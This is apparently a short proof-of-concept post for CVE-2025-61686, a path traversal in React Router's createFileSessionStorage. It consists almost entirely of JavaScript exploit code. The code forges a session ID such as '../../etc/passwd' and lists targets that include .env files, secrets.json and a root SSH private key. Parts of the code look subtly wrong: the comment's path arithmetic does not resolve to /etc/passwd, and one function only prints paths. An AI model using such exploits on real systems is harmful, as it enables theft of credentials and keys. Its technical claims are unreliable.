CVE-2025-61686 React Router路径遍历漏洞导致会话文件读写

// CVE-2025-61686 Path Traversal PoC for createFileSessionStorage // This PoC demonstrates how an attacker can exploit the path traversal vulnerability const { createFileSessionStorage } = require('@react-router/node'); // Vulnerable configuration with unsigned cookie const sessionStorage = createFileSessionStorage({ cookie: { name: 'session', httpOnly: true, signed: false, // VULNERABLE: unsigned cookie allows session ID manipulation secure: false, sameSite: 'lax' }, dir: '/var/app/sessions' // Intended session directory }); async function exploitPathTraversal() { // Malicious session ID containing path traversal sequence // This will attempt to read /etc/passwd instead of /var/app/sessions/etc/passwd const maliciousSessionId = '../../etc/passwd'; try { // Attempt to get session data from arbitrary file location const session = await sessionStorage.getSession(); session.set('user', 'attacker'); // The vulnerable code will resolve the path as: // /var/app/sessions + /../../etc/passwd = /etc/passwd await sessionStorage.commitSession(session, { id: maliciousSessionId }); console.log('[+] Path traversal payload sent'); console.log('[+] Target: /etc/passwd'); console.log('[+] Cookie header would contain:', `session=${maliciousSessionId}`); } catch (error) { console.log('[-] Error during exploitation:', error.message); } } // Alternative exploitation: Reading application config files async function readSensitiveFiles() { const sensitivePaths = [ '../../.env', '../../config/secrets.json', '../../app/config/database.yml', '../../../root/.ssh/id_rsa' ]; for (const path of sensitivePaths) { console.log(`[*] Attempting to access: ${path}`); // In vulnerable version, this would create/read files outside session directory } } exploitPathTraversal();